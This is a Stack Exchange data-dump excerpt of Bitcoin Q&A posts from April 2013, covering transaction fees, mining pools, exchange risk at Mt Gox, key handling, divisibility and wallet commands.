  <row Id="9406" PostTypeId="2" ParentId="9399" CreationDate="2013-04-09T14:04:07.120" Score="1" Body="&lt;p&gt;One answer is that it makes many things that are hard to do with fiat money trivial. Including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Send money electronically from one entity to another without the need for an intermediary. (Beneficial because those intermediaries often charge fees as well as imposing their own terms and conditions).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable more anonymity in electronic transactions. (Note that this does have advantages and disadvantages.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provide a means of exchange that largely ignores state borders. (Again, this has advantages and disadvantages. At least from the perspective of those states.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provide for more sophisticated transaction types that can be currently accomplished easily. One example being &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;contracts&lt;/a&gt; .&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another answer is that a digital system of currency has the potential to make exchange easier and cheaper. Much of the cost of fiat currencies has to do with legacy infrastructure and regulation. Note that this doesn't necessarily have to imply cryptocurrency like Bitcoin, it could just be digital accounts like Dwolla, but Bitcoin also has these benefits. And, unlike Dwolla/Flooz/Paypal and other non-crypto digital transfer systems, Bitcoin doesn't make this ease of transfer dependent on the survival of the intermediary. (Flooz intentionally included in those examples to show the hazards of the non-crypto approach.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of that is that I just sent a donation to a developer. Just 15 mBTC. If I had used Paypal, or iTunes, or Stripe, the merchant fees would have meant that most of my donation went to the merchant, not the developer. Similarly, my coffee roaster has a sign up saying that they prefer cash (and won't accept cash for transaction under $10) because the fees from their credit card vendor are too onerous. In a world of digital money, I find this absurd. Cryptocurrency is a way that we can drastically reduce these fees.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-09T14:04:07.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9407" PostTypeId="2" ParentId="9400" CreationDate="2013-04-09T14:09:59.467" Score="1" Body="&lt;p&gt;Your coins should be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need for a brainwallet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open the new client and create a new address&lt;/li&gt;&#xA;&lt;li&gt;backup this new wallet&lt;/li&gt;&#xA;&lt;li&gt;open your old clients and send your coins to that new address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Never delete the old wallets anyway, just in case.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-09T14:09:59.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostTypeId="1" AcceptedAnswerId="9444" CreationDate="2013-04-09T14:41:05.323" Score="4" ViewCount="1336" Body="&lt;p&gt;It seems really random. 1d is 1353, 1L is 22, 11 is 256, 11L is 78508, 11x is 78508, 111 is 65536, 112 is is 1335, 113 is 1330, 114 is 1330, 1L1 is 1330. &#xA;I thought it was 58 to the power of the number of digits. Why isn't it?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2020-05-10T09:49:39.990" Title="How does vanitygen calculate difficulty?" Tags="|vanitygen|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="1" AcceptedAnswerId="9412" CreationDate="2013-04-09T14:46:40.530" Score="2" ViewCount="830" Body="&lt;p&gt;So I stumbled over a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9333/unconfirmed-transaction-for-2-days-despite-network-fees-rescans-and-redownload&quot;&gt;problem with some non relayed transactions&lt;/a&gt;. A helpful user was finally able to point out that some services (Satoshi Dice) that accept BTCs are regarded as a nuisance by mining pools, so they flat out reject to relay their transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand the rationale that there is scarcity in resources and all. Surely it takes a toll on the network if lots of small transactions clog up what limited processing power there is - but isn't this exactly why there is such a thing as a transaction fee? Isn't the whole point of such a fee to prevent people spamming the network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I misunderstand how this works or is it really okay in the Bitcoin network to refuse transactions based on personal preference of the operators (aka Miners), in kind of like the censorship style that many proponents of BTC aim to avoid?&lt;/p&gt;&#xA;" OwnerUserId="4056" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-09T15:40:19.763" Title="Why do mining pools refuse &quot;spammy&quot; transactions when there are transaction fees already?" Tags="|transactions|mining-pools|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostTypeId="2" ParentId="9378" CreationDate="2013-04-09T14:53:43.457" Score="1" Body="&lt;p&gt;In the scenario Bitcoin is a success - my benchmark for which is it being used in a transactional capacity rather than just a store of value or speculation - the transaction fees will have grown to a size where they can continue to support mining indefinitely.&lt;/p&gt;&#xA;" OwnerUserId="4111" LastActivityDate="2013-04-09T14:53:43.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostTypeId="1" CreationDate="2013-04-09T15:01:15.023" Score="4" ViewCount="426" Body="&lt;p&gt;Mt Gox is the dominant Exchange that handles BTC to USD conversions.  Given the recent spike in price, and that Mt Gox is the primary exchange that publishes this price, it's conceivable that a second set of books could be used to manipulate the public -vs- non-published value of the coins.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the methods in which an Exchange can steal from its customers? (dual set of books, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can consumers and businesses protect themselves from exchange based fraud?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2015-06-17T07:49:37.393" Title="What are ways a BTC Exchange could steal from its customers, and how can they protect themselves?" Tags="|exchanges|trading|fraud|accounting|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9412" PostTypeId="2" ParentId="9409" CreationDate="2013-04-09T15:32:24.363" Score="2" Body="&lt;p&gt;So, I don't personally think that the reason your transaction wasn't relayed/mined was because of miners refusing to mine the transaction because it was a Satoshi  Dice transaction. (Although I can't say that I know the real reason, or I would have posted an answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9333/unconfirmed-transaction-for-2-days-despite-network-fees-rescans-and-redownload&quot;&gt;there&lt;/a&gt;.) The major mining pools right now deny this &quot;transaction discrimination&quot; (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=151387.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this bitcointalk thread&lt;/a&gt;). And looking through the blockchain seems to verify this: there are &lt;a href=&quot;https://blockchain.info/address/1dice8EMZmqKvrGE4Qc9bUFf9PX3xaYDp&quot; rel=&quot;nofollow noreferrer&quot;&gt;lots of transactions getting confirmed&lt;/a&gt; for the well known Satoshi Dice addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the reasoning for accepting them is the same reason you state: that if the transactions are paying the mining fee, they are essentially paying their own way. Some may (and do) disagree, but I this is certainly one of the reasons that transactions fees are part of the protocol. As long as there is a cost to send a transaction (even if it is a small one) then that does protect the network from spam and DDoS attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the second part of your question  &quot;Is it really okay in the Bitcoin network to refuse transactions based on personal preference of the operators (aka Miners), in kind of like the censorship style that many proponents of BTC aim to avoid?&quot;, that is somewhat different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is entirely within the protocol (and I would assert the spirit) of the protocol. Bitcoin to a large extent a democracy (except that it is isn't one vote one person). And if there was an attempt to subvert the system, then it is the miners who collectively protect against that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the BTC market is now large enough that it is conceivable that someone with a vested interest in the BTC exchange rate might find it worthwhile to flood the network in an attempt to devalue BTC, even if it required paying transaction fees on that flood. Another example, if someone found an exploit (or even simple bug in the Satoshi client) that allowed some sort of malformed transaction to crash clients. In most cases, it is entirely reasonable that the miners (from their own interest in protecting the network) would refuse to mine those transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, I would say that it is entirely reasonable for miners to refuse to mine transactions based on &quot;personal preference&quot;. Because that will only affect the network if the majority (actually it likely would take a significant supermajority) were acting on the same personal preference. Which means that they weren't personal preferences so much as a group consensus about the benefit of the network. And since they would be passing up the opportunity to make money on those transactions it is extremely likely that the supermajority could only be reached in the case of a significant network issue. (A great example of this is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#The_fork_of_March_2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;March 2013 fork in the network&lt;/a&gt;.) The miners collectively chose to ignore the longest blockchain (the 0.8.1 branch) in favor of keeping compatability with 0.7.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-04-09T15:40:19.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="1" CreationDate="2013-04-09T18:34:35.240" Score="1" ViewCount="1318" Body="&lt;p&gt;I am researching if it is viable to create a mining pool on some closed networks outside of normal operating hours.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a system which can be customise which shows accountability of running such a mining pool?  I want to make sure we can prove the electricity usage and offer a fair reward for all concerned obviously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have some participants who have supercomputers handy too, would that cause any complication due to skewing the performance too heavily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we calculate the power needed to mine a single LTC coin (on average)?&lt;/p&gt;&#xA;" OwnerUserId="4123" LastEditorUserId="5406" LastEditDate="2016-04-24T12:48:30.917" LastActivityDate="2016-04-24T12:48:30.917" Title="How can I create and setup an litcoin mining pool?" Tags="|mining-pools|litecoin|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T17:35:12.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostTypeId="2" ParentId="1426" CreationDate="2013-04-09T18:47:15.727" Score="0" Body="&lt;p&gt;There cannot be a bank that pays interest on BTC, because there cannot be a bank that &lt;em&gt;lends&lt;/em&gt; BTC. No one would borrow an appreciating currency, and no one would lend against collateral that depreciates relative to the real value of the outstanding debt.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Banks make money by lending in a currency that the parties expect to depreciate modestly over time. The nominal interest rate compensates for the &lt;em&gt;expected&lt;/em&gt; inflation, effectively amortizing the real loan over time.  That is an appropriate outcome, because the underwriting data on which the loan was based becomes stale over time, raising the statistical risk associated with the loan; the declining real balance, along with appreciating nominal collateral, offsets this risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absent a depreciating currency, there is no banking.  (And, if there is no banking, there is no economy, which is why bitcoin cannot be a currency but only a means of transmitting currency).&lt;/p&gt;&#xA;" OwnerUserId="4124" LastEditorUserId="4124" LastEditDate="2013-04-09T18:53:49.583" LastActivityDate="2013-04-09T18:53:49.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostTypeId="1" AcceptedAnswerId="9420" CreationDate="2013-04-09T19:15:47.840" Score="9" ViewCount="5017" Body="&lt;p&gt;If the creator of BitCoin, whoever he/she is, was the one that started the block-chain and with every cryptographic operation deriving from that initial key, would the network be under the complete control of the creator? The only way I could see this not being the case if the key was disseminated into the network, but I am unsure if that is the case.&#xA;If the key is control over the block-chain and if the key generator still holds the key, then regardless of the fact that it is decentralized in operation, it is still centralized in control, like a bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm really asking basically is whether the creator had/has any advantage in the network (i.e reversing transactions, creating new coins). I mean unless he specifically programmed the network not to be under his control, it would be right? I mean he IS the creator of the network and unless we have proof (source code inspection?) that the network has been 'turned over' so to speak to the users, we cannot guarantee safety can we? &lt;/p&gt;&#xA;" OwnerUserId="2896" LastEditorUserId="132" LastEditDate="2013-04-09T22:07:44.377" LastActivityDate="2022-06-27T16:45:17.603" Title="Does the creator of BitCoin hold a 'master' private key?" Tags="|satoshi-nakamoto|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="2" ParentId="9417" CreationDate="2013-04-09T19:31:22.060" Score="4" Body="&lt;p&gt;Satoshi likely has the key corresponding to the address the coinbase of the genesis block was sent to. This is no different then any subsidy (mining income) produced by any later block. It does not grant any special privileges beyond that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, not even that, as because of either a bug or a conscious choice, the output of the genesis block cannot be spent.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-09T19:31:22.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostTypeId="2" ParentId="331" CreationDate="2013-04-09T19:39:06.940" Score="8" Body="&lt;p&gt;Some discussions around how to make it more useful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Intrinsic_worth_brainstorming&quot;&gt;https://en.bitcoin.it/wiki/Intrinsic_worth_brainstorming&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=11834.0&quot;&gt;https://bitcointalk.org/index.php?topic=11834.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4125" LastActivityDate="2013-04-09T19:39:06.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostTypeId="2" ParentId="9417" CreationDate="2013-04-09T20:01:52.697" Score="17" Body="&lt;p&gt;No one holds a key that gives them special control of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing to a &quot;master key&quot; was the &lt;a href=&quot;https://en.bitcoin.it/wiki/Alerts&quot; rel=&quot;nofollow noreferrer&quot;&gt;alerts system&lt;/a&gt;, which allowed signed messages to be sent to every client, for example, to tell users to update their client in response to a security issue.  This feature was for alerts only and can in no way affect the blockchain, transactions, or user balances.  This key was possessed by Satoshi, Gavin Andresen, and theymos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The alerts system was &lt;a href=&quot;https://bitcoin.org/en/posts/alert-key-and-vulnerabilities-disclosure&quot; rel=&quot;nofollow noreferrer&quot;&gt;retired in the summer of 2018&lt;/a&gt;, due to risk of DOS attack vectors (full nodes could be DOS attacked by carefully crafted alert messages), and increasingly widespread knowledge of the alert keys. &lt;/p&gt;&#xA;" OwnerUserId="3067" LastEditorUserId="63872" LastEditDate="2019-01-22T02:43:04.190" LastActivityDate="2019-01-22T02:43:04.190" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9422" PostTypeId="1" CreationDate="2013-04-09T20:41:19.460" Score="4" ViewCount="312" Body="&lt;p&gt;It's conceivable that Mt Gox would re-use the outstanding balances (USD or otherwise) in other investments (BTC or otherwise).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How much liquidity does Mt Gox have in BTC and Fiat dollars in case a large group of users decides to withdraw their cash (outside of trading)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to make sure that Mt Gox has sufficient liquidity to handle transfers in the event they (or one of their associates/banks) repurpose stored values (in wallets etc) into other investments.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-02-23T15:56:55.047" Title="Could there be a &quot;run&quot; on Mt Gox? Does Mt Gox use my balance for other purposes behind the scenes?" Tags="|exchanges|mtgox|banks|risk-mitigation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostTypeId="1" CreationDate="2013-04-05T20:56:24.990" Score="3" ViewCount="484" Body="&lt;p&gt;As far as I understand, the bitcoin has an upper limit of 21 Million possible coins. Thus, the price of 1 coin, can in theory climb and climb. However, on the other hand, it seems like the system can handle 10^(-8) of a bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this observation correct?&lt;/li&gt;&#xA;&lt;li&gt;Is it already possible to have transactions of fractions of bitcoins?&lt;/li&gt;&#xA;&lt;li&gt;If (1) is true, how can this fact influence the bitcoin's rate? In some sense, it means that the limit on the number of units is somehow much higher then 21M. &lt;strong&gt;Or more generally, how should its rate be interpreted given the existence of such tiny fraction of the unit?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4157" OwnerDisplayName="Dror" LastEditorUserId="132" LastEditDate="2013-04-09T21:57:22.493" LastActivityDate="2013-05-25T23:27:56.063" Title="Upper and lower bounds of the amount of bitcoins?" Tags="|divisibility|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9427" PostTypeId="2" ParentId="9426" CreationDate="2013-04-05T21:14:53.563" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, there are 21 million whole bitcoins, each divisible up to 10^-8.&lt;/li&gt;&#xA;&lt;li&gt;Yes, transactions for fractions of bitcoins are quite common, just as transactions for fractions of dollars are common.  I could send you 0.00000001 BTC if I were so inclined.&lt;/li&gt;&#xA;&lt;li&gt;I can give you 1 dollar or 100 pennies, but the existence of pennies doesn't really influence the exchange rate of the dollar.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38" OwnerDisplayName="Michael McGowan" LastActivityDate="2013-04-05T21:14:53.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostTypeId="2" ParentId="9426" CreationDate="2013-04-06T08:34:47.230" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Correct, but coins have been lost, so although up to 21 million will be mined, there will be fewer than that in circulation. &lt;/li&gt;&#xA;&lt;li&gt;Seeing fractions is routine, but sending and receiving bitcoins with a smaller fractions  will incur a processing fee.&lt;/li&gt;&#xA;&lt;li&gt;#1 is true: The finite amount of bitcoins is actually expected to produce &lt;strong&gt;bitcoin deflation&lt;/strong&gt; in the future, so its value will go up (constant supply and assuming increasing demand). However, the protocol can be adjusted to slice bitcoins even smaller then the current 8 decimal places. It's uncertain economic territory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4274" OwnerDisplayName="Will" LastEditorUserId="4154" LastEditDate="2013-04-10T05:26:05.177" LastActivityDate="2013-04-10T05:26:05.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9438" PostTypeId="1" CreationDate="2013-04-09T21:38:48.187" Score="2" ViewCount="348" Body="&lt;p&gt;On block explorer there are some address with public key available, and some without.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(e.g. this one has public key: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1HBheYzvX7NDtcwVrMS7gxReNRVezYS7w2&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1HBheYzvX7NDtcwVrMS7gxReNRVezYS7w2&lt;/a&gt; ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this one doesn't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1111111111111111111114oLvT2&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1111111111111111111114oLvT2&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because one has money sent out and one doesn't?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly then the public key is included in the transaction out of an address, is that right?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="3775" LastEditDate="2013-04-10T00:12:39.433" LastActivityDate="2013-04-10T09:39:23.263" Title="When will the public key of an address used in the network?" Tags="|address|public-key|cryptography|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9439" PostTypeId="2" ParentId="9422" CreationDate="2013-04-09T21:57:44.187" Score="4" Body="&lt;p&gt;I think your question is based on the false assumption that there is some 100% safe way to store money that doesn't cost anything. Mt Gox can't stuff your money in their mattress, and even if they did someone could come along and steal the mattress. They have to sensibly balance risk and cost -- zero-risk is not a sensible or achievable goal and is not available for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is always a chance that an exchange will not have sufficient liquidity to meet withdrawal demand. When that happens, they have to process withdrawals more slowly. But the alternatives are more expensive and would mean the exchange would have to charge higher commissions. Exchanges like Mt Gox have strong incentives to get this balance right -- a reputation for slow withdrawals will hurt their bottom line and, of course, high commissions drives away customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can tell how good a job they're doing by looking at how their customers rate their withdrawal experiences and what their commission rates are. If you think they're not balancing cost and risk right, use a different exchange.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-09T21:57:44.187" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9440" PostTypeId="2" ParentId="9438" CreationDate="2013-04-09T22:09:40.077" Score="0" Body="&lt;p&gt;(Those two links are the same...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there are two common ways to send money:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Include the public key.  The sender will need to prove that he has the matching private key.&lt;/li&gt;&#xA;&lt;li&gt;Include a hash of the public key.  The sender will need to provide the public key matching that hash and also the the proof of owning the private key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Most people use the second way because the hash of a public key (the address) is shorter.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-09T22:09:40.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostTypeId="1" CreationDate="2013-04-09T22:14:43.767" Score="4" ViewCount="547" Body="&lt;p&gt;Or should I create multiple TOR socks ports and use one for each client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan on running bitcoind, namecoind, litecoind, etc... all on the same ubuntu machine running under different users but all going though the same TOR connection.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-04-25T03:10:56.897" Title="Is it safe to connect multiple alternative crypto currency clients to the same TOR socks port?" Tags="|bitcoind|namecoin|litecoin|tor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9442" PostTypeId="1" CreationDate="2013-04-09T22:16:35.710" Score="4" ViewCount="156" Body="&lt;p&gt;I heard that the wallet has 100 of the next receiving addresses already.  Shouldn't I be able to get one of those without unlocking it?&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-10T09:32:25.683" Title="Why do I need my password to generate a new receiving address in bitcoin-qt?" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9443" PostTypeId="2" ParentId="9366" CreationDate="2013-04-09T22:43:53.313" Score="1" Body="&lt;p&gt;You do understand that mining using a CPU is pretty much pointless? Please dig around on the wiki address provided by Nick for the specifics. Short version - it takes lots of dedicated GPU cards or specialized hardware to mine any measurable quantity. I've been running a Xeon workstation with a Radeon GPU for almost a month non stop and a) have yet to create more that a tenth of a bitcoin and b) have dramatically seen my electrical bill increase.&lt;/p&gt;&#xA;" OwnerUserId="4137" LastActivityDate="2013-04-09T22:43:53.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9444" PostTypeId="2" ParentId="9408" CreationDate="2013-04-09T23:24:10.583" Score="5" Body="&lt;p&gt;There are two parts to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is leading 1s.  A leading 1 represents a 0 &lt;em&gt;byte&lt;/em&gt; i.e. 8 bits.  This means that for every additional 1 you prefix your search string with the difficulty increases by 256 (2^8).  You can see this easily by checking the difficulty of prefixes 1, 11, 111 &lt;em&gt;etc.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second is other characters.  Here the difficulty changes depending on how many bits you are specifying, because as your value is converted from base58 to an integer value and from there to a power of 2.  Depending on your second number in your 2-digit prefix the difficulty will move around a bit (plus there will be rounding errors).  Again, easy to see with prefixes of 12 and 1z (which are 1 and 57 in base58 encoding, respectively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get past all of that you should find that your 58 to the power of the number of digits comes in to play.  For example the difficulty of 1234 should be 58 times the difficulty of 123.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-09T23:24:10.583" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9445" PostTypeId="1" AcceptedAnswerId="9446" CreationDate="2013-04-10T00:03:27.293" Score="2" ViewCount="78191" Body="&lt;p&gt;If I know the exchange rate, how can I calculate the value of some amount bitcoins in my native currency?&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="5406" LastEditDate="2015-01-14T15:35:10.843" LastActivityDate="2020-03-30T18:22:38.890" Title="How do I calculate the value of some amount of bitcoins in my native currency?" Tags="|exchange-rate|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9446" PostTypeId="2" ParentId="9445" CreationDate="2013-04-10T00:07:06.560" Score="3" Body="&lt;p&gt;{Bitcoin Amount} * {Exchange Rate} would give you the value of BTC in USD.  You'd have to add transaction costs to that, which depend on your exchange.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="-1" LastEditDate="2020-03-30T18:22:38.890" LastActivityDate="2020-03-30T18:22:38.890" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="9447" PostTypeId="2" ParentId="1249" CreationDate="2013-04-10T00:27:27.057" Score="15" Body="&lt;p&gt;This is also useful if you are importing more than 1 private key into your wallet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind importprivkey 1zbcvs.... &quot;My Label&quot; false&#xA;bitcoind importprivkey 1zbcvs.... &quot;My Label&quot; false&#xA;bitcoind importprivkey 1zbcvs.... &quot;My Label&quot; false&#xA;bitcoind stop&#xA;&#xA;# One of the following&#xA;bitcoind -rescan &#xA;bitcoin-qt -rescan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2013-04-10T00:27:27.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9448" PostTypeId="2" ParentId="3653" CreationDate="2013-04-10T00:29:40.863" Score="2" Body="&lt;p&gt;You can use Putty to create a socks proxy too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.virtualroadside.com/blog/index.php/2007/04/12/dynamic-socks-proxy-using-putty/&quot; rel=&quot;nofollow&quot;&gt;http://www.virtualroadside.com/blog/index.php/2007/04/12/dynamic-socks-proxy-using-putty/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2013-04-10T00:29:40.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostTypeId="1" AcceptedAnswerId="9478" CreationDate="2013-04-10T00:55:48.007" Score="6" ViewCount="4124" Body="&lt;p&gt;I'd like to archive all my coins in a single address (specifically the address for a &quot;brain wallet&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the most effective way to combine all the outstanding balances into a given address?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2023-03-01T19:56:42.293" LastActivityDate="2023-03-01T19:56:42.293" Title="How do I consolidate all my BTC into a single address?" Tags="|wallet|brain-wallet|consolidation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostTypeId="2" ParentId="7505" CreationDate="2013-04-10T01:20:51.897" Score="0" Body="&lt;p&gt;A gold backed equivalent of bitcoin would have to be run by someone like the Perth Mint with some sort of guarantee that the supply of digital coins in circulation reflected what they held in their vaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would require an element of trust, or proof that the institution wasn't issuing more coins that it had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of incentives, the institution issuing the digital coins would probably want to charge a fee for each transfer or purchase to make it worth their while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would they do it? Probably not as Governments would probably shut them down for creating a competing currency.&lt;/p&gt;&#xA;" OwnerUserId="4145" LastActivityDate="2013-04-10T01:20:51.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9452" PostTypeId="1" AcceptedAnswerId="9457" CreationDate="2013-04-10T02:40:10.900" Score="4" ViewCount="756" Body="&lt;p&gt;Is it possible to pre-mine next block when everyone is mining current block? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, if we need 1T hash power to mine (solo / pool) a block in 1 hour, then is it possible to run 1G hash miner for 1000 hours and then use this data as proof of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 1G miner, I am essentially targeting n'th (x + 6000) block in future, hoping to solve it. I will broadcast it as soon as I get hash of n-1'th block.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:27:31.033" LastActivityDate="2016-04-01T09:27:31.033" Title="Is pre-mining of a future block possible?" Tags="|blockchain|block|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
